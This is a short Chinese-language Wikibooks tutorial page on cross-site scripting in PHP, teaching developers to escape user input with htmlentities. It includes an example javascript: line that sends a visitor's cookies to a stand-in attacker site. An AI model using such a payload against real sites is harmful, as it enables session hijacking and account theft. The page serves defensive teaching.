跳转到内容

PHP 编程/跨站脚本攻击

来自 Wikibooks,开放世界中的开放书籍


跨站脚本(或 XSS)是对脚本发送敏感信息(例如 Cookie 或其他会话标识符)到其他网站的基本描述。

通常,这些攻击会影响内容可以被编辑或添加的网站。在大多数情况下,会话标识符甚至用户名/密码都存储在 Cookie 中。如果有人知道会话标识符,他们可以在自己的机器上轻松地使用它来执行任何恶意任务,而这些任务会让你不高兴。

现在,如果您已登录 Wikibooks 或任何其他网站,请转到该页面并在地址栏中键入以下内容

javascript:void(alert(document.cookie))

这些是每次发送到网站以识别您的 Cookie。很容易,如果您的网站没有防范 XSS - 攻击者会编写类似这样的内容

javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))

这会将 Cookie 信息发送到他们的网站。

如果不删除可能提交到其他网站的恶意 HTML/JavaScript 代码,就无法保护自己免受 XSS 攻击。

到目前为止,最常见的方法是使用 htmlentitieshtmlspecialchars 过滤代码,以便没有人可以向您的网站添加任何 HTML(例如博客评论)

$message = htmlentities($message);

另一种方法是总体上创建任何类型的“受保护模式”代码,例如 MediaWiki、BBCode 或其他为方便用户内容的样式/格式而发明的代码。



华夏公益教科书